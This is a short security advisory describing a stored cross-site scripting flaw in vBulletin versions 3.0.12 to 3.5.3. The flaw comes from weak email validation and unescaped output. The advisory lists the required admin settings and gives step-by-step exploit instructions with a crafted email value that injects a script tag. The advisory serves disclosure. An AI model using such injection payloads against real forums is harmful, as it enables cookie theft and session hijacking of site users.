——–Summary——–
Software: vBulletin
Sowtware’s Web Site: http://www.vBulletin.com
Versions: 3.0.12-3.5.3
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Available
Discovered by: imei addmimistrator
Risk Level: Mediume
——-Description——-
There is a security bug in most powerfull & common forum software vBulletin version 3.0.12&3.5.3 that allows attacker performe a XSS attack. bug is in result of unsentizing quotation and < & > characters for “email” field of users’ information. a weak regular expression for validation email that allows insertiong unvalid characters in domain-name section of email is source of this bug and also forgot to htmlspeacialcharing output value in sendmsg.php file, helps exploiting this bug. a successfull attack can result to thefthing cookies, hijacking pages and etc…
——-Conditions——-
AdminSetting Should meeted these settings:
Enable Email features=Yes
Allow Users to Email Other Members=Yes
Use Secure Email Sending=No
forum/admins/options.php?do=options&dogroup=email
It sounds that conditions are defaultly OK;
——-Exploit——-
Scenario:
/forum/profile.php?do=editpassword
pass:your pass
email: imei@myimei.com”><script>alert(1)</script>.nomatt
Note About lenght limitation 
****
forum/profile.php?do=editoptions
Receive Email from Other Members=yes
****
forum/sendmessage.php?do=mailmember&u={your id}
——-Solution——-
Upgrade to vendore provided patch.
——-Credit——-
Discovered by: imei addmimistrator
addmimistrator(4}gmail(O}com